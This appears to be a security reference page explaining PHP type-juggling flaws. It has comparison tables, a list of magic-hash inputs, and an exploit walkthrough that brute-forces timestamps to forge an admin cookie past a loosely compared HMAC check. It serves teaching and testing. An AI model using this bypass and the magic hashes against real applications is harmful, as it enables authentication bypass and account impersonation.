Type Juggling

Type Juggling #

PHP is a loosely typed language, which means it tries to predict the programmer’s intent and automatically converts variables to different types whenever it seems necessary. For example, a string containing only numbers can be treated as an integer or a float. However, this automatic conversion (or type juggling) can lead to unexpected results, especially when comparing variables using the ‘==’ operator, which only checks for value equality (loose comparison), not type and value equality (strict comparison).

Summary #

Loose Comparison #

PHP type juggling vulnerabilities arise when loose comparison (== or !=) is employed instead of strict comparison (=== or !==) in an area where the attacker can control one of the variables being compared. This vulnerability can result in the application returning an unintended answer to the true or false statement, and can lead to severe authorization and/or authentication bugs.

  • Loose comparison: using == or != : both variables have “the same value”.
  • Strict comparison: using === or !== : both variables have “the same type and the same value”.

True statements #

StatementOutput
'0010e2' == '1e3'true
'0xABCdef' == ' 0xABCdef'true (PHP 5.0) / false (PHP 7.0)
'0xABCdef' == ' 0xABCdef'true (PHP 5.0) / false (PHP 7.0)
'0x01' == 1true (PHP 5.0) / false (PHP 7.0)
'0x1234Ab' == '1193131'true
'123' == 123true
'123a' == 123true
'abc' == 0true
'' == 0 == false == NULLtrue
'' == 0true
0 == falsetrue
false == NULLtrue
NULL == ''true

PHP8 won’t try to cast string into numbers anymore, thanks to the Saner string to number comparisons RFC, meaning that collision with hashes starting with 0e and the likes are finally a thing of the past! The Consistent type errors for internal functions RFC will prevent things like 0 == strcmp($_GET['username'], $password) bypasses, since strcmp won’t return null and spit a warning any longer, but will throw a proper exception instead.

LooseTypeComparison

NULL statements #

FunctionStatementOutput
sha1var_dump(sha1([]));NULL
md5var_dump(md5([]));NULL

Magic Hashes #

Magic hashes arise due to a quirk in PHP’s type juggling, when comparing string hashes to integers. If a string hash starts with “0e” followed by only numbers, PHP interprets this as scientific notation and the hash is treated as a float in comparison operations.

Hash“Magic” Number / StringMagic HashFound By / Description
MD4gH0nAdHk0e096229559581069251163783434175@spaze
MD4IiF+hTai00e90130237707355082822449868597@spaze
MD52406107080e462097431906509019562988736854@spazef0rze
MD5QNKCDZO0e830400451993494058024219903391@spazef0rze
MD50e11371269050e291659922323405260514745084877@spazef0rze
MD50e2159620170e291242476940776845150308577824@spazef0rze
MD512958192621165157191246674165187868492806da5430449f8f6f23dfc1276f722738Raw: ?T0D??o#??‘or'8.N=?
SHA1109324351120e07766915004133176347055865026311692244Independently found by Michael A. Cleverly & Michele Spagnuolo & Rogdham
SHA-224108851647937730e281250946775200129471613219196999537878926740638594636@TihanyiNorbert
SHA-256342500030248120e46289032038065916139621039085883773413820991920706299695051332@TihanyiNorbert
SHA-256TyNOQHUS0e66298694359207596086558843543959518835691168370379069085300385@Chick3nman512
<?php
var_dump(md5('240610708') == md5('QNKCDZO')); # bool(true)
var_dump(md5('aabg7XSs')  == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
?>

Exploit #

The vulnerability in the following code lies in the use of a loose comparison (!=) to validate the $cookie[‘hmac’] against the calculated $hash.

function validate_cookie($cookie,$key){
	$hash = hash_hmac('md5', $cookie['username'] . '|' . $cookie['expiration'], $key);
	if($cookie['hmac'] != $hash){ // loose comparison
		return false;
		
	}
	else{
		echo "Well done";
	}
}

In this case, if an attacker can control the $cookie[‘hmac’] value and set it to a string like “0”, and somehow manipulate the hash_hmac function to return a hash that starts with “0e” followed only by numbers (which is interpreted as zero), the condition $cookie[‘hmac’] != $hash would evaluate to false, effectively bypassing the HMAC check.

We have control over 3 elements in the cookie:

  • $username - username you are targeting, probably “admin”
  • $expiration - a UNIX timestamp, must be in the future
  • $hmac - the provided hash, “0”

The exploitation phase is the following:

  1. Prepare a malicious cookie: The attacker prepares a cookie with $username set to the user they wish to impersonate (for example, “admin”), $expiration set to a future UNIX timestamp, and $hmac set to “0”.
  2. Brute force the $expiration value: The attacker then brute forces different $expiration values until the hash_hmac function generates a hash that starts with “0e” and is followed only by numbers. This is a computationally intensive process and might not be feasible depending on the system setup. However, if successful, this step would generate a “zero-like” hash.
    // docker run -it --rm -v /tmp/test:/usr/src/myapp -w /usr/src/myapp php:8.3.0alpha1-cli-buster php exp.php
    for($i=1424869663; $i < 1835970773; $i++ ){
    	$out = hash_hmac('md5', 'admin|'.$i, '');
    	if(str_starts_with($out, '0e' )){
    		if($out == 0){
    			echo "$i - ".$out;
    			break;
    		}
    	}
    }
    ?>
    
  3. Update the cookie data with the value from the bruteforce: 1539805986 - 0e772967136366835494939987377058
    $cookie = [
    	'username' => 'admin',
    	'expiration' => 1539805986,
    	'hmac' => '0'
    ];
    
  4. In this case we assumed the key was a null string : $key = '';

References #